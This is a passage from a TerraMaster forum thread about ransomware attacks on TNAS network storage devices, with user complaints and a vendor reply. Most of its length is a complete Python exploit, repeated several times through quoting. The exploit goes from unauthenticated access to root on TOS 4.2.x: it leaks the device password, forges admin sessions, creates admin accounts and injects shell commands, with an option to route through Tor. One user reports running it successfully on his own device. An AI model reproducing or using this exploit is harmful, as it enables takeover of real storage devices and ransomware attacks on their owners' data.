No matter how much you convince me, I think TM should have informed customers of this when they have already learnt from other Vendors about such weaknesses.
TM should definitely implement 2FA and atleast show pop-ups on the TOS login screen about ongoing attacks or important news.
Urgent Notification about TNAS being Attacked by Ransomware
- NavinKanus
- Posts: 1
- Joined: 13 Jan 2022, 11:02
Re: Urgent Notification about TNAS being Attacked by Ransomware
{L_BUTTON_AT}NavinKanus
Reply to what you are concerned about:
1. we did send an email warning to every registered user after this attack happened, not only that, we posted warning on our forum and official website right away;
2. at present, we can't push notification to TOS;
3. we are studying the eCh0raix ransomware, and will release a patch or update as soon as a solution has been done;
4. we will implement more security tools in feature versions to increase TNAS security level, but if you do not use them, they are useless;
5. do not expect you can purchase an absolutely safe network product, you need to carefully take care of your network security to lower down risk, we can't do this part for you;
To contact our team, please send email to following addresses, remember to replace (at) with @:
Support team: support(at)terra-master.com (for technical support only)
Service team: service(at)terra-master.com (for purchasing, return, replacement, RMA service)
Support team: support(at)terra-master.com (for technical support only)
Service team: service(at)terra-master.com (for purchasing, return, replacement, RMA service)
- Jac de Lad
- Posts: 38
- Joined: 04 Aug 2020, 01:40
Re: Urgent Notification about TNAS being Attacked by Ransomware
@NavinKanus: I don't think so. My Synology was also under attack, this is not a problem caused by a speciality from Terramaster. Also, I found the warning here first.
- Charlie_Croker
- Posts: 105
- Joined: 07 Oct 2020, 19:05
Re: Urgent Notification about TNAS being Attacked by Ransomware
NavinKanus wrote:
>
I'm not trying to convince you, what was your security strategy to protect your network and clients?
>
I'm not trying to convince you, what was your security strategy to protect your network and clients?
Re: Urgent Notification about TNAS being Attacked by Ransomware
I would really like you to buy licenses for normal corporate security products and implement them, including for arm solutions. Antivirus + firewall with more advanced features from normal manufacturers, not claw. Qihoo 360, AVIRA and so on... Security is at the heart of any network storage solution and I find it strange to see a near total absence of any arm solution products.
- rajputonline
- Posts: 0
- Joined: 15 Jan 2022, 19:28
Re: Urgent Notification about TNAS being Attacked by Ransomware
I found out something online. May be this will be useful in patching.
Zero-day date 2021.12.29
#/bin/env python
"""
Product: Terramaster F4-210, Terramaster F2-210
Version: TOS 4.2.X (4.2.15-2107141517)
Author: n0tme (thatsn0tmysite)
Description: Chain from unauthenticated to root via session crafting.
"""
import urllib3
import requests
import json
import argparse
import hashlib
import time
import os
TARGET = None
MAC_ADDRESS = None
PWD = None
TIMESTAMP = None
def tos_encrypt_str(toencrypt):
key = MAC_ADDRESS[6:]
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
def user_session(session, username):
session.cookies.clear()
cookies = {"kod_name":username, "kod_token":tos_encrypt_str(PWD)}
if username == "guest":
cookies = {"kod_name":"guest", "kod_token":tos_encrypt_str("")}
for name,value in cookies.items():
session.cookies[name] = value
def download(session, path, save_as=None):
user_session(session, "guest")
r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload", data={"path":path})
filename = os.path.basename(path)
if save_as is not None:
filename = save_as
with open(filename, "wb") as file:
file.write(r.content)
def get_admin_users(session):
download(session, "/etc/group", save_as="/tmp/terramaster_group")
with open("/tmp/terramaster_group", "r") as groups:
for line in groups:
line = line.strip()
fields = line.split(':')
if fields[0] == "admin":
users = fields[3].split(",")
os.remove("/tmp/terramaster_group")
return users
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument(dest="target", help="Target URL (e.g. http://10.0.0.100:8181)")
p.add_argument("--cmd", dest="cmd", help="Command to run", default="id")
p.add_argument("-d", "--download", dest="download", help="Only download file", default=None)
p.add_argument("-o", "--output", dest="save_as", help="Save downloaded file as", default=None)
p.add_argument("-c", "--create", dest="create", help="Only create admin user (format should be admin:password)", default=None)
p.add_argument("--tor", dest="tor", default=False, action="store_true", help="Use TOR")
p.add_argument("--rce", dest="rce", default=0, type=int, help="RCE to use (1 and 2 have no output)")
args = p.parse_args()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = args.target
s = requests.Session()
if args.tor:
s.proxies = {"http":"socks5://127.0.0.1:9050", "https": "socks5://127.0.0.1:9050"}
s.headers.update({"user-device":"TNAS", "user-agent":"TNAS"})
r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
try:
j = r.json()
PWD = j["data"]["PWD"]
MAC_ADDRESS = j["data"]["ADDR"]
except KeyError:
exit(1)
TIMESTAMP = str(int(time.time()))
s.headers.update({"signature": tos_encrypt_str(TIMESTAMP), "timestamp": TIMESTAMP})
s.headers.update({"authorization": PWD})
if args.download != None:
download(s, args.download, save_as=args.save_as)
exit(0)
#RCEs
RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"] #BLIND
for admin in get_admin_users(s):
user_session(s, admin)
if args.create != None:
user, password = args.create.split(":")
groups = json.dumps(["allusers", "admin"])
r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information", data={"groups":groups, "username":user,"operation":"0","password":password,"capacity":""})
if "create user successful!" in str(r.content, "utf8"):
print(r.content)
break
continue
r = s.get(RCEs[args.rce])
content = str(r.content, "utf-8")
if "<!--user login-->" not in content:
print(content)
exit(0)
Zero-day date 2021.12.29
#/bin/env python
"""
Product: Terramaster F4-210, Terramaster F2-210
Version: TOS 4.2.X (4.2.15-2107141517)
Author: n0tme (thatsn0tmysite)
Description: Chain from unauthenticated to root via session crafting.
"""
import urllib3
import requests
import json
import argparse
import hashlib
import time
import os
TARGET = None
MAC_ADDRESS = None
PWD = None
TIMESTAMP = None
def tos_encrypt_str(toencrypt):
key = MAC_ADDRESS[6:]
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
def user_session(session, username):
session.cookies.clear()
cookies = {"kod_name":username, "kod_token":tos_encrypt_str(PWD)}
if username == "guest":
cookies = {"kod_name":"guest", "kod_token":tos_encrypt_str("")}
for name,value in cookies.items():
session.cookies[name] = value
def download(session, path, save_as=None):
user_session(session, "guest")
r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload", data={"path":path})
filename = os.path.basename(path)
if save_as is not None:
filename = save_as
with open(filename, "wb") as file:
file.write(r.content)
def get_admin_users(session):
download(session, "/etc/group", save_as="/tmp/terramaster_group")
with open("/tmp/terramaster_group", "r") as groups:
for line in groups:
line = line.strip()
fields = line.split(':')
if fields[0] == "admin":
users = fields[3].split(",")
os.remove("/tmp/terramaster_group")
return users
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument(dest="target", help="Target URL (e.g. http://10.0.0.100:8181)")
p.add_argument("--cmd", dest="cmd", help="Command to run", default="id")
p.add_argument("-d", "--download", dest="download", help="Only download file", default=None)
p.add_argument("-o", "--output", dest="save_as", help="Save downloaded file as", default=None)
p.add_argument("-c", "--create", dest="create", help="Only create admin user (format should be admin:password)", default=None)
p.add_argument("--tor", dest="tor", default=False, action="store_true", help="Use TOR")
p.add_argument("--rce", dest="rce", default=0, type=int, help="RCE to use (1 and 2 have no output)")
args = p.parse_args()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = args.target
s = requests.Session()
if args.tor:
s.proxies = {"http":"socks5://127.0.0.1:9050", "https": "socks5://127.0.0.1:9050"}
s.headers.update({"user-device":"TNAS", "user-agent":"TNAS"})
r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
try:
j = r.json()
PWD = j["data"]["PWD"]
MAC_ADDRESS = j["data"]["ADDR"]
except KeyError:
exit(1)
TIMESTAMP = str(int(time.time()))
s.headers.update({"signature": tos_encrypt_str(TIMESTAMP), "timestamp": TIMESTAMP})
s.headers.update({"authorization": PWD})
if args.download != None:
download(s, args.download, save_as=args.save_as)
exit(0)
#RCEs
RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"] #BLIND
for admin in get_admin_users(s):
user_session(s, admin)
if args.create != None:
user, password = args.create.split(":")
groups = json.dumps(["allusers", "admin"])
r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information", data={"groups":groups, "username":user,"operation":"0","password":password,"capacity":""})
if "create user successful!" in str(r.content, "utf8"):
print(r.content)
break
continue
r = s.get(RCEs[args.rce])
content = str(r.content, "utf-8")
if "<!--user login-->" not in content:
print(content)
exit(0)
Re: Urgent Notification about TNAS being Attacked by Ransomware
What worried me about TNAS was that uPNP decided to poke holes in my router's firewall so I can access my data outside of the network. This is something I didn't want so I when I finally caught it I disabled it and deleted the port forwards on my router. Unless your PC is compromised first, my first guess is that this where the attacks are managing to get in.
- REBELinBLUE
- Posts: 30
- Joined: 05 Dec 2021, 06:37
Re: Urgent Notification about TNAS being Attacked by Ransomware
Arlyd wrote:
> What worried me about TNAS was that uPNP decided to poke holes in my
> router's firewall so I can access my data outside of the network. This is
> something I didn't want so I when I finally caught it I disabled it and
> deleted the port forwards on my router. Unless your PC is compromised
> first, my first guess is that this where the attacks are managing to get
> in.
Wasn't that fixed in a previous firmware update?
> What worried me about TNAS was that uPNP decided to poke holes in my
> router's firewall so I can access my data outside of the network. This is
> something I didn't want so I when I finally caught it I disabled it and
> deleted the port forwards on my router. Unless your PC is compromised
> first, my first guess is that this where the attacks are managing to get
> in.
Wasn't that fixed in a previous firmware update?
- REBELinBLUE
- Posts: 30
- Joined: 05 Dec 2021, 06:37
Re: Urgent Notification about TNAS being Attacked by Ransomware
rajputonline wrote:
> I found out something online. May be this will be useful in patching.
>
> Zero-day date 2021.12.29
>
> #/bin/env python
>
> """
> Product: Terramaster F4-210, Terramaster F2-210
> Version: TOS 4.2.X (4.2.15-2107141517)
> Author: n0tme (thatsn0tmysite)
> Description: Chain from unauthenticated to root via session crafting.
> """
>
> import urllib3
> import requests
> import json
> import argparse
> import hashlib
> import time
> import os
>
> TARGET = None
> MAC_ADDRESS = None
> PWD = None
> TIMESTAMP = None
>
> def tos_encrypt_str(toencrypt):
> key = MAC_ADDRESS[6:]
> return
> hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
>
> def user_session(session, username):
> session.cookies.clear()
> cookies = {"kod_name":username,
> "kod_token":tos_encrypt_str(PWD)}
> if username == "guest":
> cookies = {"kod_name":"guest",
> "kod_token":tos_encrypt_str("")}
>
> for name,value in cookies.items():
> session.cookies[name] = value
>
> def download(session, path, save_as=None):
> user_session(session, "guest")
> r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload",
> data={"path":path})
> filename = os.path.basename(path)
> if save_as is not None:
> filename = save_as
> with open(filename, "wb") as file:
> file.write(r.content)
>
> def get_admin_users(session):
> download(session, "/etc/group",
> save_as="/tmp/terramaster_group")
> with open("/tmp/terramaster_group", "r") as groups:
> for line in groups:
> line = line.strip()
> fields = line.split(':')
> if fields[0] == "admin":
> users = fields[3].split(",")
> os.remove("/tmp/terramaster_group")
> return users
>
> if __name__ == '__main__':
> p = argparse.ArgumentParser()
> p.add_argument(dest="target", help="Target URL (e.g.
> http://10.0.0.100:8181)")
> p.add_argument("--cmd", dest="cmd", help="Command to
> run", default="id")
> p.add_argument("-d", "--download", dest="download",
> help="Only download file", default=None)
> p.add_argument("-o", "--output", dest="save_as",
> help="Save downloaded file as", default=None)
> p.add_argument("-c", "--create", dest="create",
> help="Only create admin user (format should be admin:password)",
> default=None)
> p.add_argument("--tor", dest="tor", default=False,
> action="store_true", help="Use TOR")
> p.add_argument("--rce", dest="rce", default=0, type=int,
> help="RCE to use (1 and 2 have no output)")
> args = p.parse_args()
> urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
>
> TARGET = args.target
>
> s = requests.Session()
> if args.tor:
> s.proxies = {"http":"socks5://127.0.0.1:9050",
> "https": "socks5://127.0.0.1:9050"}
> s.headers.update({"user-device":"TNAS",
> "user-agent":"TNAS"})
>
> r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
> try:
> j = r.json()
> PWD = j["data"]["PWD"]
> MAC_ADDRESS = j["data"]["ADDR"]
> except KeyError:
> exit(1)
>
> TIMESTAMP = str(int(time.time()))
> s.headers.update({"signature": tos_encrypt_str(TIMESTAMP),
> "timestamp": TIMESTAMP})
> s.headers.update({"authorization": PWD})
>
> if args.download != None:
> download(s, args.download, save_as=args.save_as)
> exit(0)
>
> #RCEs
>
> RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
>
> f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
>
> f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"]
> #BLIND
>
> for admin in get_admin_users(s):
> user_session(s, admin)
> if args.create != None:
> user, password = args.create.split(":")
> groups = json.dumps(["allusers", "admin"])
> r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
>
> r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information",
> data={"groups":groups,
> "username":user,"operation":"0","password":password,"capacity":""})
> if "create user successful!" in str(r.content,
> "utf8"):
> print(r.content)
> break
> continue
>
> r = s.get(RCEs[args.rce])
> content = str(r.content, "utf-8")
> if "<!--user login-->" not in content:
> print(content)
> exit(0)
Holy shit that is bad, I just tried it on mine with has the latest softeare. I ran the script "python3 script.py http://nas:8181 -c foo:bar" and it created the admin user foo with the password bar. That totally explains it, then they can do whatever the hell they want
> I found out something online. May be this will be useful in patching.
>
> Zero-day date 2021.12.29
>
> #/bin/env python
>
> """
> Product: Terramaster F4-210, Terramaster F2-210
> Version: TOS 4.2.X (4.2.15-2107141517)
> Author: n0tme (thatsn0tmysite)
> Description: Chain from unauthenticated to root via session crafting.
> """
>
> import urllib3
> import requests
> import json
> import argparse
> import hashlib
> import time
> import os
>
> TARGET = None
> MAC_ADDRESS = None
> PWD = None
> TIMESTAMP = None
>
> def tos_encrypt_str(toencrypt):
> key = MAC_ADDRESS[6:]
> return
> hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
>
> def user_session(session, username):
> session.cookies.clear()
> cookies = {"kod_name":username,
> "kod_token":tos_encrypt_str(PWD)}
> if username == "guest":
> cookies = {"kod_name":"guest",
> "kod_token":tos_encrypt_str("")}
>
> for name,value in cookies.items():
> session.cookies[name] = value
>
> def download(session, path, save_as=None):
> user_session(session, "guest")
> r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload",
> data={"path":path})
> filename = os.path.basename(path)
> if save_as is not None:
> filename = save_as
> with open(filename, "wb") as file:
> file.write(r.content)
>
> def get_admin_users(session):
> download(session, "/etc/group",
> save_as="/tmp/terramaster_group")
> with open("/tmp/terramaster_group", "r") as groups:
> for line in groups:
> line = line.strip()
> fields = line.split(':')
> if fields[0] == "admin":
> users = fields[3].split(",")
> os.remove("/tmp/terramaster_group")
> return users
>
> if __name__ == '__main__':
> p = argparse.ArgumentParser()
> p.add_argument(dest="target", help="Target URL (e.g.
> http://10.0.0.100:8181)")
> p.add_argument("--cmd", dest="cmd", help="Command to
> run", default="id")
> p.add_argument("-d", "--download", dest="download",
> help="Only download file", default=None)
> p.add_argument("-o", "--output", dest="save_as",
> help="Save downloaded file as", default=None)
> p.add_argument("-c", "--create", dest="create",
> help="Only create admin user (format should be admin:password)",
> default=None)
> p.add_argument("--tor", dest="tor", default=False,
> action="store_true", help="Use TOR")
> p.add_argument("--rce", dest="rce", default=0, type=int,
> help="RCE to use (1 and 2 have no output)")
> args = p.parse_args()
> urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
>
> TARGET = args.target
>
> s = requests.Session()
> if args.tor:
> s.proxies = {"http":"socks5://127.0.0.1:9050",
> "https": "socks5://127.0.0.1:9050"}
> s.headers.update({"user-device":"TNAS",
> "user-agent":"TNAS"})
>
> r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
> try:
> j = r.json()
> PWD = j["data"]["PWD"]
> MAC_ADDRESS = j["data"]["ADDR"]
> except KeyError:
> exit(1)
>
> TIMESTAMP = str(int(time.time()))
> s.headers.update({"signature": tos_encrypt_str(TIMESTAMP),
> "timestamp": TIMESTAMP})
> s.headers.update({"authorization": PWD})
>
> if args.download != None:
> download(s, args.download, save_as=args.save_as)
> exit(0)
>
> #RCEs
>
> RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
>
> f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
>
> f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"]
> #BLIND
>
> for admin in get_admin_users(s):
> user_session(s, admin)
> if args.create != None:
> user, password = args.create.split(":")
> groups = json.dumps(["allusers", "admin"])
> r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
>
> r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information",
> data={"groups":groups,
> "username":user,"operation":"0","password":password,"capacity":""})
> if "create user successful!" in str(r.content,
> "utf8"):
> print(r.content)
> break
> continue
>
> r = s.get(RCEs[args.rce])
> content = str(r.content, "utf-8")
> if "<!--user login-->" not in content:
> print(content)
> exit(0)
Holy shit that is bad, I just tried it on mine with has the latest softeare. I ran the script "python3 script.py http://nas:8181 -c foo:bar" and it created the admin user foo with the password bar. That totally explains it, then they can do whatever the hell they want
- REBELinBLUE
- Posts: 30
- Joined: 05 Dec 2021, 06:37
Re: Urgent Notification about TNAS being Attacked by Ransomware
python3 script.py http://nas:8181 --cmd "ls /mnt/"
appdata
backup
bootdev
md0
md1
media
public
security
timemachine
usb
:-o In other words, if you have your NAS exposed to the Internet disconnect it right now!
appdata
backup
bootdev
md0
md1
media
public
security
timemachine
usb
:-o In other words, if you have your NAS exposed to the Internet disconnect it right now!